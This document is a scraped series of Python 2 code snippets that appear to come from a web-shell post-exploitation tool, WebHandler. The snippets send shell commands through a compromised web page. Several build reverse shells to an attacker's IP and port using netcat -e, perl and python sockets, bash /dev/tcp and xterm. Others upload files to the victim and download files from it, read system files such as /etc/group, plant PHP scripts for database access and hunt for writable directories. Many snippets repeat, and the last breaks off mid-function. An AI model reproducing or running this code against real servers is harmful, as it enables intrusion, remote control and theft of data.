Example #1
0
    def upload_file(self, lfile_path, rfile_path):
        with open(lfile_path) as local_file:
            data_to_upload = local_file.read().encode('base64').strip()

        data = 'echo {0}| base64 -d > {1}'.format(''.join(data_to_upload.split()), rfile_path)
        make_request.get_page_source(cmd=data)
        print '[+] Successfully uploaded {0} to {1}'.format(lfile_path, rfile_path)
Example #2
0
 def upload_file(self, lfile_path, rfile_path):
     with open(lfile_path) as local_file:
         data_to_upload = local_file.read().encode('base64').strip()
     #for line in data_to_upload:
     cmd = 'echo {0} | base64 -d > {1}'.format(data_to_upload, rfile_path)
     make_request.get_page_source(cmd)
     print '\n[+] Successfully uploaded {0} to {1}'.format(lfile_path, rfile_path)
Example #3
0
 def netcat(self, ip, port):
     '''
     nc.OpenBSD deosn't have -e switch. Alternative solution:
         rm -f /tmp/f && mkfifo /tmp/f && cat /tmp/f|/bin/sh -i 2>&1|nc IP PORT>/tmp/f
     '''
     cmd = "for x in `whereis nc netcat`; do file $x | grep executable | awk '{print $1}' | tr -d ':'; done"
     netcat = make_request.get_page_source(cmd)
     if netcat:
         cprint('\n[i] Found netcat:', 'green')
         c = 1
         for path in netcat:
             cprint('{0:2d}.) {1}'.format(c, path), 'green')
             c += 1
         msg = colored('\n[i] Make sure: \'{0}\' has a listener shell setup on port: \'{1}\'', 'green')
         msg += ' (hint: python webhandler.py -l {1} OR nc -lvvp {1})'
         msg += colored('\n[?] Press <return> when ready!', 'yellow')
         raw_input(msg.format(ip, port))
         for path in netcat:
             cmd = 'nohup {0} {1} {2} -e /bin/bash &'.format(path, ip, port)
             make_request.get_page_source(cmd)
             if self.checkPort(port):
                 break
         cprint('[+] Done!', 'blue')
     else:
         cprint('\n[!] Didn\'t find netcat on the remote system', 'red')
Example #4
0
    def __init__(self, username, password):
        cprint("\n[+] Please type 'exit' when your done to remove the files uploaded on the server")
        self.username = username
        self.password = password
        self.hostDir = linux.get_writble_dir()
        if not self.hostDir:
            cprint("'\n[+] Unable to locate a writeble directory on the server")
            cprint("\n[+]MySQL module can't be used. Exiting now!")
        else:
            self.phpFile = [self.hostDir + "/mysql.php", self.hostDir + "/auth.php"]
            cprint('\n[+] Uploading PHP files...', 'green')
            for i in self.phpFile:
                file_handler.upload_file('modules/services/{0}'.format(i.split('/')[-1]), i)

            cmd = 'echo "%s,%s" > %s/auth.txt' % (self.username, self.password, self.hostDir)
            cprint('\n[+] Authenticating with the server...', 'blue')
            make_request.get_page_source(cmd)

            cmd = "cd {0}; php {1}".format(self.hostDir, 'auth.php')
            res = make_request.get_page_source(cmd)
            if 'failure' in res:
                cprint("\n[+]Access denied for user '{0}'@'localhost'".format(self.username), 'red')
                self.authorized = False
            else:
                cprint("\n[+]Login Successful", 'green')
                self.authorized = True
Example #5
0
 def perl(self, ip, port):
     cmd = "for x in `whereis perl`; do file $x | grep executable | awk '{print $1}' | tr -d ':'; done"
     perl = make_request.get_page_source(cmd)
     if perl:
         cprint('\n[i] Found perl:', 'green')
         c = 1
         for path in perl:
             cprint('{0:2d}.) {1}'.format(c, path), 'green')
             c += 1
         msg = colored('\n[i] Make sure: \'{0}\' has a listener shell setup on port: \'{1}\'', 'green')
         msg += ' (hint: python webhandler.py -l {1} OR nc -lvvp {1})'
         msg += colored('\n[?] Press <return> when ready!', 'yellow')
         raw_input(msg.format(ip, port))
         for path in perl:
             cmd = 'nohup {0} -e '.format(path)
             cmd += '\'use Socket;'
             cmd += '$i="{0}";'.format(ip)
             cmd += '$p="{0}";'.format(port)
             cmd += 'socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));'
             cmd += 'if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");'
             cmd += 'open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\' &'
             make_request.get_page_source(cmd)
             if self.checkPort(port):
                 break
         cprint('[+] Done!', 'blue')
     else:
         cprint('\n[!] Didn\'t find perl on the remote system', 'red')
Example #6
0
 def netcat(self, ip, port):
     '''
     nc.OpenBSD deosn't have -e switch. Alternative solution:
         rm -f /tmp/f && mkfifo /tmp/f && cat /tmp/f|/bin/sh -i 2>&1|nc IP PORT>/tmp/f
     '''
     cmd = "for x in `whereis nc netcat`; do file $x | grep executable | awk '{print $1}' | tr -d ':'; done"
     netcat = make_request.get_page_source(cmd)
     if netcat:
         cprint('\n[i] Found netcat:', 'green')
         c = 1
         for path in netcat:
             cprint('{0:2d}.) {1}'.format(c, path), 'green')
             c += 1
         msg = colored('\n[i] Make sure: \'{0}\' has a listener shell setup on port: \'{1}\'', 'green')
         msg += ' (hint: python webhandler.py -l {1} OR nc -lvvp {1})'
         msg += colored('\n[?] Press <return> when ready!', 'yellow')
         raw_input(msg.format(ip, port))
         for path in netcat:
             cmd = 'nohup {0} {1} {2} -e /bin/bash &echo "\n"'.format(path, ip, port)
             make_request.get_page_source(cmd)
             if self.checkPort(port):
                 break
         cprint('[+] Done!', 'blue')
     else:
         cprint('\n[!] Didn\'t find netcat on the remote system', 'red')
Example #7
0
 def python(self, ip, port):
     cmd = "for x in `whereis python`; do file $x | grep executable | awk '{print $1}' | tr -d ':'; done"
     python = make_request.get_page_source(cmd)
     if python:
         cprint('\n[i] Found python:', 'green')
         c = 1
         for path in python:
             cprint('{0:2d}.) {1}'.format(c, path), 'green')
             c += 1
         msg = colored('\n[i] Make sure: \'{0}\' has a listener shell setup on port: \'{1}\'', 'green')
         msg += ' (hint: python webhandler.py -l {1} OR nc -lvvp {1})'
         msg += colored('\n[?] Press <return> when ready!', 'yellow')
         raw_input(msg.format(ip, port))
         for path in python:
             cmd = 'nohup {0} -c '.format(path)
             cmd += '\'import socket,subprocess,os;'
             cmd += 's=socket.socket(socket.AF_INET,socket.SOCK_STREAM);'
             cmd += 's.connect(("{0}",{1}));'.format(ip, port)
             cmd += 'os.dup2(s.fileno(),0);'
             cmd += 'os.dup2(s.fileno(),1);'
             cmd += 'os.dup2(s.fileno(),2);'
             cmd += 'p=subprocess.call(["/bin/sh","-i"]);\' &'
             make_request.get_page_source(cmd)
             if self.checkPort(port):
                 break
         cprint('[+] Done!', 'blue')
     else:
         cprint('\n[!] Didn\'t find python on the remote system', 'red')
Example #8
0
 def perl(self, ip, port):
     cmd = "for x in `whereis perl`; do file $x | grep executable | awk '{print $1}' | tr -d ':'; done"
     perl = make_request.get_page_source(cmd)
     if perl:
         cprint('\n[i] Found perl:', 'green')
         c = 1
         for path in perl:
             cprint('{0:2d}.) {1}'.format(c, path), 'green')
             c += 1
         msg = colored('\n[i] Make sure: \'{0}\' has a listener shell setup on port: \'{1}\'', 'green')
         msg += ' (hint: python webhandler.py -l {1} OR nc -lvvp {1})'
         msg += colored('\n[?] Press <return> when ready!', 'yellow')
         raw_input(msg.format(ip, port))
         for path in perl:
             cmd = 'nohup {0} -e '.format(path)
             cmd += '\'use Socket;'
             cmd += '$i="{0}";'.format(ip)
             cmd += '$p="{0}";'.format(port)
             cmd += 'socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));'
             cmd += 'if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");'
             cmd += 'open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\' &'
             make_request.get_page_source(cmd)
         cprint('[+] Done!', 'blue')
     else:
         cprint('\n[!] Didn\'t find perl on the remote system', 'red')
Example #9
0
 def python(self, ip, port):
     cmd = "for x in `whereis python`; do file $x | grep executable | awk '{print $1}' | tr -d ':'; done"
     python = make_request.get_page_source(cmd)
     if python:
         cprint('\n[i] Found python:', 'green')
         c = 1
         for path in python:
             cprint('{0:2d}.) {1}'.format(c, path), 'green')
             c += 1
         msg = colored('\n[i] Make sure: \'{0}\' has a listener shell setup on port: \'{1}\'', 'green')
         msg += ' (hint: python webhandler.py -l {1} OR nc -lvvp {1})'
         msg += colored('\n[?] Press <return> when ready!', 'yellow')
         raw_input(msg.format(ip, port))
         for path in python:
             cmd = 'nohup {0} -c '.format(path)
             cmd += '\'import socket,subprocess,os;'
             cmd += 's=socket.socket(socket.AF_INET,socket.SOCK_STREAM);'
             cmd += 's.connect(("{0}",{1}));'.format(ip, port)
             cmd += 'os.dup2(s.fileno(),0);'
             cmd += 'os.dup2(s.fileno(),1);'
             cmd += 'os.dup2(s.fileno(),2);'
             cmd += 'p=subprocess.call(["/bin/sh","-i"]);\' &'
             make_request.get_page_source(cmd)
         cprint('[+] Done!', 'blue')
     else:
         cprint('\n[!] Didn\'t find python on the remote system', 'red')
        def write_file(rfilr_path):
            "nested function to be used within the file_exists conditions"
            try:
                # open the the file in 'r' mode to upload it
                with open(lfile_path) as local_file:
                    data_to_upload = local_file.read().encode("base64").strip()
                    # split the data then join it to escap special chars and new lines
                    data_to_upload = "".join(data_to_upload.splitlines())

                def chuncks(seq, length):
                    "split data into chuncks to avoid Error 414"
                    return [seq[i : i + length] for i in xrange(0, len(seq), length)]

                if len(data_to_upload) > 300 and make_request.method != "post":
                    for i in chuncks(data_to_upload, 200):
                        # append data to pre-written file using >>
                        data = "echo {0}| base64 -d >> {1}".format(i, rfile_path)
                        make_request.get_page_source(data)
                else:
                    data = "echo {0}| base64 -d > {1}".format(data_to_upload, rfile_path)
                    make_request.get_page_source(cmd=data)

                if self.check_fileSum(lfile_path, rfile_path):
                    "if the two files have the same md5sum"
                    print "[+] Successfully uploaded {0} to {1}".format(lfile_path, rfile_path)
                else:
                    cprint("[!] Something went wrong while uploading the file")
            # throw an exception when the local file not exists
            except IOError:
                cprint('\n[+] File: "{0}" doesn\'t exist'.format(lfile_path), "red")
Example #11
0
        def write_file(rfilr_path):
            "nested function to be used within the file_exists conditions"
            try:
                # open the the file in 'r' mode to upload it
                with open(lfile_path) as local_file:
                    data_to_upload = local_file.read().encode('base64').strip()
                    #split the data then join it to escap special chars and new lines
                    data_to_upload = ''.join(data_to_upload.splitlines())

                def chuncks(seq, length):
                    "split data into chuncks to avoid Error 414"
                    return [seq[i:i + length] for i in xrange(0, len(seq), length)]

                if len(data_to_upload) > 300 and make_request.method != 'post':
                    chuncked_data = chuncks(data_to_upload, 6000)
                    cprint('\n[!] The amount of data being uploaded is big, I will chunck it into %d stages.' % len(chuncked_data), 'red')
                    for i in tqdm(range(len(chuncked_data))):
                        # append data to pre-written file using >>
                        data = 'echo {0}| base64 -d >> {1}'.format(chuncked_data[i], rfile_path)
                        make_request.get_page_source(data)
                else:
                    data = 'echo {0}| base64 -d > {1}'.format(data_to_upload, rfile_path)
                    make_request.get_page_source(cmd=data)

                if self.check_fileSum(lfile_path, rfile_path):
                    "if the two files have the same md5sum"
                    print '[+] Successfully uploaded {0} to {1}'.format(lfile_path, rfile_path)
                else:
                    cprint('[!] Something went wrong while uploading the file')
            # throw an exception when the local file not exists
            except IOError:
                cprint('\n[+] File: "{0}" doesn\'t exist'.format(lfile_path), 'red')
Example #12
0
    def upload_file(self, lfile_path, rfile_path):
        with open(lfile_path) as local_file:
            data_to_upload = local_file.read().encode('base64').strip()

        data = 'echo {0}| base64 -d > {1}'.format(
            ''.join(data_to_upload.split()), rfile_path)
        make_request.get_page_source(cmd=data)
        print '[+] Successfully uploaded {0} to {1}'.format(
            lfile_path, rfile_path)
Example #13
0
 def download_file(self, rfile_path, lfile_path):
     cmd = 'if [ -e {0} ]; then if [ -f {0} ]; then echo file; else echo dir; fi; fi'.format(rfile_path)
     file_type = make_request.get_page_source(cmd)[0]
     if file_type == 'file':
         cmd = 'cat {0}'.format(rfile_path)
         try:
             with open(lfile_path, 'w') as dest_file:
                 dest_file.write('\n'.join(make_request.get_page_source(cmd)) + '\n')
             print '\n[+] Successfully downloaded "{0}" to "{1}"'.format(rfile_path, lfile_path)
         except IOError, e:
             cprint('\n[!] Error: {0}'.format(e), 'red')
Example #14
0
 def execut(self, sql):
     cmd = 'echo "%s" > %s/sql.txt' % (sql, self.hostDir)
     cprint('\n[+] Sending SQL...', 'green')
     make_request.get_page_source(cmd)
     cmd2 = 'cd %s; php mysql.php' % self.hostDir
     res = make_request.get_page_source(cmd2)
     res = res[0].replace('null', '"null"')
     try:
         res = eval(res)
         d = Tablize(res, sql)
         d.tablize(d.tup)
     except:
         cprint(res, 'red')
Example #15
0
 def execut(self, sql):
     cmd = 'echo "%s" > %s/sql.txt' % (sql, self.hostDir)
     cprint('\n[+] Sending SQL...', 'green')
     make_request.get_page_source(cmd)
     cmd2 = 'cd %s; php mysql.php' % self.hostDir
     res = make_request.get_page_source(cmd2)
     res = res[0].replace('null', '"null"')
     try:
         res = eval(res)
         d = Tablize(res, sql)
         d.tablize(d.tup)
     except:
         cprint(res, 'red')
    def download_file(self, rfile_path, lfile_path):
        cmd = "if [ -e {0} ]; then if [ -f {0} ]; then echo file; else echo dir; fi; fi".format(rfile_path)
        file_type = make_request.get_page_source(cmd)
        if file_type:
            file_type = file_type[0]

        if file_type == "file":
            cmd = "cat {0}".format(rfile_path)
            try:
                with open(lfile_path, "w") as dest_file:
                    dest_file.write("\n".join(make_request.get_page_source(cmd)) + "\n")
                print '\n[+] Successfully downloaded "{0}" to "{1}"'.format(rfile_path, lfile_path)
            except IOError, e:
                cprint("\n[!] Error: {0}".format(e), "red")
Example #17
0
    def download_file(self, rfile_path, lfile_path):
        cmd = 'if [ -e {0} ]; then if [ -f {0} ]; then echo file; else echo dir; fi; fi'.format(rfile_path)
        file_type = make_request.get_page_source(cmd)
        if file_type:
            file_type = file_type[0]

        if file_type == 'file':
            cmd = 'cat {0}'.format(rfile_path)
            try:
                with open(lfile_path, 'w') as dest_file:
                    dest_file.write('\n'.join(make_request.get_page_source(cmd)) + '\n')
                print '\n[+] Successfully downloaded "{0}" to "{1}"'.format(rfile_path, lfile_path)
            except IOError, e:
                cprint('\n[!] Error: {0}'.format(e), 'red')
Example #18
0
 def writable(self):
     cmd = "find {0} -writable -type d".format(linux.get_doc_root())
     writable = make_request.get_page_source(cmd)
     if writable:
         c = 1
         for path in writable:
             cprint('{0:2d}.) {1}'.format(c, path), 'green')
             c += 1
     else:
         cmd = "if [ -w \"/tmp\" ];then echo \"WRITABLE\"; else echo \"NOT WRITABLE\"; fi"
         writable = make_request.get_page_source(cmd)
         if writable:
             cprint('[+] /tmp is a writable directory.', 'green')
         else:
             cprint('\n[!] Didn\'t find any wriable directories', 'red')
Example #19
0
    def system(self):
        cmd = 'bash -c "input=\$(uptime); if [[ \$input == *day* ]]; then out=\$(echo \$input | awk \'{print \$3\\" days\\"}\'); if [[ \$input == *min* ]]; then out=\$(echo \\"\$out and \\" && echo \$input | awk \'{print \$5\\" minutes\\"}\'); else out=\$(echo \\"\$out, \\" && echo \$input | awk \'{print \$5}\' | tr -d \\",\\" | awk -F \\":\\" \'{print \$1\\" hours and \\"\$2\\" minutes\\"}\'); fi elif [[ \$input == *min* ]]; then out=\$(echo \$input | awk \'{print \$3\\" minutes\\"}\'); else out=\$(echo \$input | awk \'{print \$3}\' | tr -d \\",\\" | awk -F \\":\\" \'{print \$1\\" hours and \\"\$2\\" minutes\\"}\'); fi; echo \$out;" ;'
        cmd += "awk '{print ($1/(60*60*24))/($2/(60*60*24))*100 \"%\"}' /proc/uptime;"
        cmd += "w -h | wc -l;"
        cmd += "wc -l /etc/passwd | awk '{print $1}';"
        cmd += "wc -l /etc/group | awk '{print $1}';"
        cmd += "awk '{print $1 \" \" $2 \" \" $3}' /proc/loadavg;"
        cmd += "free -m | grep 'buffers/cache' | awk '{print $3*100/($3+$4)}';"
        cmd += "netstat -tn | grep ESTABLISHED | wc -l | awk '{print $1}';"
        cmd += "netstat -atn | grep LISTEN | wc -l | awk \"{print $1}\";"
        cmd += "awk '{split($4,a,\"/\"); print a[1];}' /proc/loadavg;"
        cmd += "awk '{split($4,a,\"/\"); print a[2];}' /proc/loadavg;"

        system = make_request.get_page_source(cmd)
        system = iter(system)

        output = '\n[+] Uptime: {0}\n'.format(next(system, "Unknown"))
        output += '[+] Idletime: {0}\n'.format(next(system, "Unknown"))
        output += '[+] Users Logged in: {0}\n'.format(next(system, "Unknown"))
        output += '[+] Total Users: {0}\n'.format(next(system, "Unknown"))
        output += '[+] Total Groups: {0}\n'.format(next(system, "Unknown"))
        output += '[+] CPU Load (1, 5, 15 mins): {0}\n'.format(next(system, "Unknown"))
        output += '[+] Memory Load (Used %): {0}\n'.format(next(system, "Unknown"))
        output += '[+] Established TCP Connections: {0}\n'.format(next(system, "Unknown"))
        output += '[+] Listening TCP Services: {0}\n'.format(next(system, "Unknown"))
        output += '[+] User Processors: {0}\n'.format(next(system, "Unknown"))
        output += '[+] Total Processor: {0}'.format(next(system, "Unknown"))

        cprint(output, 'green')
Example #20
0
 def xterm(self, ip, port):
     cmd = "for x in `whereis xterm`; do file $x | grep executable | awk '{print $1}' | tr -d ':'; done"
     xterm = make_request.get_page_source(cmd)
     if xterm:
         cprint('\n[i] Found xterm:', 'green')
         c = 1
         for path in xterm:
             cprint('{0:2d}.) {1}'.format(c, path), 'green')
             c += 1
         #raw_input('\n{0}[i] Make sure: \'{1}\' has a listener shell setup on port: \'{2}\'{4} (hint: python webhandler.py -l {2} OR nc -lvvp {2})\n{3}[?] Press <return> when ready!{4}'.format(Colors.GREEN, ip, port, Colors.YELLOW, Colors.END))
         for path in xterm:
             cmd = 'nohup {0} xterm -display {1}:1 &'.format(path, ip)
             make_request.get_page_source(cmd)
         cprint('[+] Done!', 'blue')
     else:
         cprint('\n[!] Didn\'t find xterm on the remote system', 'red')
Example #21
0
    def group(self):
        cmd = 'cat /etc/group;'
        groups = make_request.get_page_source(cmd)

        header = '{0:15} | {1:11} | {2:8} | {3:8} |'.format(
            "Group Name", "Password", "Group ID", "Group List")
        line = "-" * len(header)

        cprint('[+] Total number of groups: {0}'.format(len(groups)),
               'magenta')

        cprint(line, 'green')
        cprint(header, 'green')
        cprint(line, 'green')
        c = 1
        for group in groups:
            gname = group.split(':')[0]
            passwd = group.split(':')[1]
            if passwd == "x":
                passwd = "*In shadow*"
            guid = group.split(':')[2]
            glist = group.split(':')[3]
            cprint(
                '{0:15} | {1:11} | {2:8} | {3:8} {4:2}|'.format(
                    gname, passwd, guid, glist, ' '), 'green')
            c += 1
        cprint(line, 'green')
Example #22
0
    def system(self):
        cmd = 'bash -c "input=\$(uptime); if [[ \$input == *day* ]]; then out=\$(echo \$input | awk \'{print \$3\\" days\\"}\'); if [[ \$input == *min* ]]; then out=\$(echo \\"\$out and \\" && echo \$input | awk \'{print \$5\\" minutes\\"}\'); else out=\$(echo \\"\$out, \\" && echo \$input | awk \'{print \$5}\' | tr -d \\",\\" | awk -F \\":\\" \'{print \$1\\" hours and \\"\$2\\" minutes\\"}\'); fi elif [[ \$input == *min* ]]; then out=\$(echo \$input | awk \'{print \$3\\" minutes\\"}\'); else out=\$(echo \$input | awk \'{print \$3}\' | tr -d \\",\\" | awk -F \\":\\" \'{print \$1\\" hours and \\"\$2\\" minutes\\"}\'); fi; echo \$out;" ;'
        cmd += "awk '{print ($1/(60*60*24))/($2/(60*60*24))*100 \"%\"}' /proc/uptime;"
        cmd += "w -h | wc -l;"
        cmd += "wc -l /etc/passwd | awk '{print $1}';"
        cmd += "wc -l /etc/group | awk '{print $1}';"
        cmd += "awk '{print $1 \" \" $2 \" \" $3}' /proc/loadavg;"
        cmd += "free -m | grep 'buffers/cache' | awk '{print $3*100/($3+$4)}';"
        cmd += "netstat -tn | grep ESTABLISHED | wc -l | awk '{print $1}';"
        cmd += "netstat -atn | grep LISTEN | wc -l | awk \"{print $1}\";"
        cmd += "awk '{split($4,a,\"/\"); print a[1];}' /proc/loadavg;"
        cmd += "awk '{split($4,a,\"/\"); print a[2];}' /proc/loadavg;"

        system = make_request.get_page_source(cmd)
        system = iter(system)

        output = '\n[+] Uptime: {0}\n'.format(next(system, "Unknown"))
        output += '[+] Idletime: {0}\n'.format(next(system, "Unknown"))
        output += '[+] Users Logged in: {0}\n'.format(next(system, "Unknown"))
        output += '[+] Total Users: {0}\n'.format(next(system, "Unknown"))
        output += '[+] Total Groups: {0}\n'.format(next(system, "Unknown"))
        output += '[+] CPU Load (1, 5, 15 mins): {0}\n'.format(
            next(system, "Unknown"))
        output += '[+] Memory Load (Used %): {0}\n'.format(
            next(system, "Unknown"))
        output += '[+] Established TCP Connections: {0}\n'.format(
            next(system, "Unknown"))
        output += '[+] Listening TCP Services: {0}\n'.format(
            next(system, "Unknown"))
        output += '[+] User Processors: {0}\n'.format(next(system, "Unknown"))
        output += '[+] Total Processor: {0}'.format(next(system, "Unknown"))

        cprint(output, 'green')
Example #23
0
 def bash(self, ip, port):
     cmd = "for x in `whereis bash`; do file $x | grep executable | awk '{print $1}' | tr -d ':'; done"
     bash = make_request.get_page_source(cmd)
     if bash:
         cprint('\n[i] Found bash:')
         c = 1
         for path in bash:
             cprint('{0:2d}.) {1}'.format(c, path), 'green')
             c += 1
         msg = colored('\n[i] Make sure: \'{0}\' has a listener shell setup on port: \'{1}\'', 'green')
         msg += ' (hint: python webhandler.py -l {1} OR nc -lvvp {1})'
         msg += colored('\n[?] Press <return> when ready!', 'yellow')
         raw_input(msg.format(ip, port))
         for path in bash:
             cmd = 'nohup {0} -c \'{0} -i >& /dev/tcp/{1}/{2} 0>&1\' &'.format(path, ip, port)
             make_request.get_page_source(cmd)
         cprint('[+] Done!', 'blue')
Example #24
0
    def get_information(self):
        now = datetime.datetime.now()

        # Call get_page_source() method then assign it to self.source
        source = make_request.get_page_source(
            self.cmd) if not getargs.banner else []

        source = iter(source)
        self.current_user = next(source, "bash")
        self.current_id = next(source, "host")
        self.kernel_info = next(source, "kernel info")
        self.cwd = next(source, "cwd")
        self.perm_cwd = next(source, "permission")
        self.uptime = next(source, "uptime")
        self.host_ip = next(source, "Host")
        self.session = now.strftime("%Y-%m-%d")
        if getargs.url:
            self.url = '/'.join(getargs.url.split('/', 3)[:3])
        else:
            self.url = "n/a"

        try:
            # Get the attacker's ip address (Thanks @mandreko)
            self.local_ip = (urlopen('http://ip.pla1.net').read()
                             ).strip() if not getargs.banner else 'Unknown'
        except:
            self.local_ip = 'Unknown'

        self.info = '\t' + '-' * int(len(self.kernel_info) + 18) + '\n'
        self.info += colored("\tUser         : "******"\tID           : ", 'red') + colored(
            self.current_id, 'green') + '\n'
        self.info += colored("\tKernel       : ", 'red') + colored(
            self.kernel_info, 'green') + '\n'
        self.info += colored("\tCWD          : ", 'red') + colored(
            self.cwd, 'green') + colored(
                '\t\t' + self.perm_cwd, 'yellow', attrs=['bold']) + '\n'
        self.info += colored("\tUptime       : ", 'red') + colored(
            self.uptime, 'green') + '\n'
        self.info += colored("\tTarget's IPs : ", 'red') + colored(
            self.host_ip, 'green') + '\n'
        self.info += colored("\tOur IP       : ", 'red') + colored(
            self.local_ip, 'green') + '\n'
        self.info += '\t' + '-' * int(len(self.kernel_info) + 18)
        self.info += "\n\n"

        self.info += colored("\t[+] Available commands: " + ', '.join(self.available_commands), 'blue', attrs=['underline', 'bold']) + '\n' \
        if not getargs.banner else ''
        self.info += colored(
            "\t[+] Inserting ! at the begining of the command will execute the command locally (on your box)",
            'blue',
            attrs=['underline', 'bold'])
        self.info += "\n"
        if not getargs.banner:
            return self.info
        else:
            return 'Welcome to WebHandler'
Example #25
0
    def get_doc_root(self):
        cmd = "echo \"<?php echo \$_SERVER['DOCUMENT_ROOT']; ?>\" > .doc_root.php; [ -r .doc_root.php ] && echo exists || echo not_exist"
        # Make a request to create a php file (Thanks @0xAli)
        if make_request.get_page_source(cmd)[0] == 'exists':
            make_request.url = make_request.url.replace(
                make_request.url.split('/')[-1], '.doc_root.php')
            doc_root = urlopen(make_request.url).read().strip()
            make_request.url = self.url
            cmd = "rm .doc_root.php"
            make_request.get_page_source(cmd)
        else:
            correct_command = ['lsb_release -d', 'cat /etc/*-release']
            for command in correct_command:
                distrib_description = make_request.get_page_source(
                    command)[0].lower()
                if distrib_description:
                    if 'ubuntu' in distrib_description or 'debian' in distrib_description:
                        try:
                            cmd = "grep -i \"DocumentRoot\" /etc/apache2/sites-available/default | awk '{print $2}'"
                            doc_root = make_request.get_page_source(cmd)[0]
                        except IndexError:
                            cmd = "grep -i \"DocumentRoot\" /etc/apache2/sites-available/000-default.conf | awk '{print $2}'"
                            doc_root = make_request.get_page_source(cmd)[0]
                    elif 'centos' in distrib_description or 'fedora' in distrib_description or 'red hat' in distrib_description:
                        cmd = "grep -i 'DocumentRoot' /etc/httpd/conf/httpd.conf"
                        doc_root = make_request.get_page_source(cmd)[0]
                    else:
                        doc_root = None
                    break
                else:
                    pass

        return doc_root
Example #26
0
    def get_doc_root(self):
        cmd = "echo \"<?php echo \$_SERVER['DOCUMENT_ROOT']; ?>\" > .doc_root.php; [ -r .doc_root.php ] && echo exists || echo not_exist"
        # Make a request to create a php file (Thanks @0xAli)
        if make_request.get_page_source(cmd)[0] == 'exists':
            make_request.url = make_request.url.replace(make_request.url.split('/')[-1], '.doc_root.php')
            doc_root = urlopen(make_request.url).read().strip()
            make_request.url = self.url
            cmd = "rm .doc_root.php"
            make_request.get_page_source(cmd)
        else:
            correct_command = ['lsb_release -d', 'cat /etc/*-release']
            for command in correct_command:
                distrib_description = make_request.get_page_source(command)[0].lower()
                if distrib_description:
                    if 'ubuntu' in distrib_description or 'debian' in distrib_description:
                        try:
                            cmd = "grep -i \"DocumentRoot\" /etc/apache2/sites-available/default | awk '{print $2}'"
                            doc_root = make_request.get_page_source(cmd)[0]
                        except IndexError:
                            cmd = "grep -i \"DocumentRoot\" /etc/apache2/sites-available/000-default.conf | awk '{print $2}'"
                            doc_root = make_request.get_page_source(cmd)[0]
                    elif 'centos' in distrib_description or 'fedora' in distrib_description or 'red hat' in distrib_description:
                        cmd = "grep -i 'DocumentRoot' /etc/httpd/conf/httpd.conf"
                        doc_root = make_request.get_page_source(cmd)[0]
                    else:
                        doc_root = None
                    break
                else:
                    pass

        return doc_root
Example #27
0
 def get_writble_dir(self):
     cmd = "find {0} -writable -type d 2>/dev/null | sort -R".format(
         self.get_doc_root())  # -print -quit
     result = make_request.get_page_source(cmd)
     if result:
         result = result[0]
         cprint('\n[+] Found a directory to use: \'{0}\''.format(result),
                'green')
     else:
         path = '/tmp'
         cmd = "if [ -w \"%s\" ];then echo \"WRITABLE\"; fi" % path
         result = make_request.get_page_source(cmd)
         if result:
             result = path
             cprint('[+] /tmp is a writable directory.', 'green')
         else:
             cprint('\n[!] Unable to find a suitable directory', 'red')
     return result
Example #28
0
    def upload_file(self, lfile_path, rfile_path):
        with open(lfile_path) as local_file:
            data_to_upload = local_file.read().encode('base64').strip()
            #split the data then join it to escap special chars and new lines
            data_to_upload = ''.join(data_to_upload.splitlines())

        def chuncks(seq, length):
            return [seq[i:i + length] for i in xrange(0, len(seq), length)]

        if len(data_to_upload) > 300 and make_request.method != 'post':
            for i in chuncks(data_to_upload, 200):
                data = 'echo {0}| base64 -d >> {1}'.format(i, rfile_path)
                make_request.get_page_source(data)
        else:
            data = 'echo {0}| base64 -d > {1}'.format(data_to_upload, rfile_path)
            make_request.get_page_source(cmd=data)

        print '[+] Successfully uploaded {0} to {1}'.format(lfile_path, rfile_path)
 def check_fileSum(self, lfile_path, rfile_path):
     lfileSum = Popen('md5sum {0}'.format(lfile_path),
                      shell=True,
                      stdout=PIPE,
                      stderr=PIPE)
     rfileSum = "".join(make_request.get_page_source('md5sum ' +
                                                     rfile_path)).split()[0]
     lfileSum = lfileSum.communicate()[0].split()[0]
     return lfileSum == rfileSum
Example #30
0
 def get_writble_dir(self):
     cmd = "find {0} -perm -0003 -type d 2>/dev/null | sort -R".format(self.get_doc_root())  # -print -quit
     result = make_request.get_page_source(cmd)
     if result:
         result = result[0]
         cprint('\n[+] Found a directory to use: \'{0}\''.format(result), 'green')
     else:
         cprint('\n[!] Unable to find a suitable directory', 'red')
     return result
Example #31
0
 def xterm(self, ip, port):
     cmd = "for x in `whereis xterm`; do file $x | grep executable | awk '{print $1}' | tr -d ':'; done"
     xterm = make_request.get_page_source(cmd)
     if xterm:
         cprint('\n[i] Found xterm:', 'green')
         c = 1
         for path in xterm:
             cprint('{0:2d}.) {1}'.format(c, path), 'green')
             c += 1
         #raw_input('\n{0}[i] Make sure: \'{1}\' has a listener shell setup on port: \'{2}\'{4} (hint: python webhandler.py -l {2} OR nc -lvvp {2})\n{3}[?] Press <return> when ready!{4}'.format(Colors.GREEN, ip, port, Colors.YELLOW, Colors.END))
         for path in xterm:
             cmd = 'nohup {0} xterm -display {1}:1 &'.format(path, ip)
             make_request.get_page_source(cmd)
             if self.checkPort(port):
                 break
         cprint('[+] Done!', 'blue')
     else:
         cprint('\n[!] Didn\'t find xterm on the remote system', 'red')
Example #32
0
class FileHandler(object):
    # A method for downloading files from the box
    def download_file(self, rfile_path, lfile_path):
        cmd = 'if [ -e {0} ]; then if [ -f {0} ]; then echo file; else echo dir; fi; fi'.format(
            rfile_path)
        file_type = make_request.get_page_source(cmd)
        if file_type:
            file_type = file_type[0]

        if file_type == 'file':
            cmd = 'cat {0}'.format(rfile_path)
            try:
                with open(lfile_path, 'w') as dest_file:
                    dest_file.write(
                        '\n'.join(make_request.get_page_source(cmd)) + '\n')
                print '\n[+] Successfully downloaded "{0}" to "{1}"'.format(
                    rfile_path, lfile_path)
            except IOError, e:
                cprint('\n[!] Error: {0}'.format(e), 'red')
        elif file_type == 'dir':
            cmd = 'find {0} | while read f;do echo $f;done'.format(rfile_path)
            files = make_request.get_page_source(cmd)
            for file in files:
                cmd = 'if [ -e {0} ]; then if [ -f {0} ]; then echo file; else echo dir; fi; fi'.format(
                    file)
                file_type = make_request.get_page_source(cmd)[0]
                if file_type == 'dir':
                    #folder = os.path.exists(os.path.join(lfile_path, file))  # Didn't like: @download /media/CD /root/
                    folder = lfile_path + file
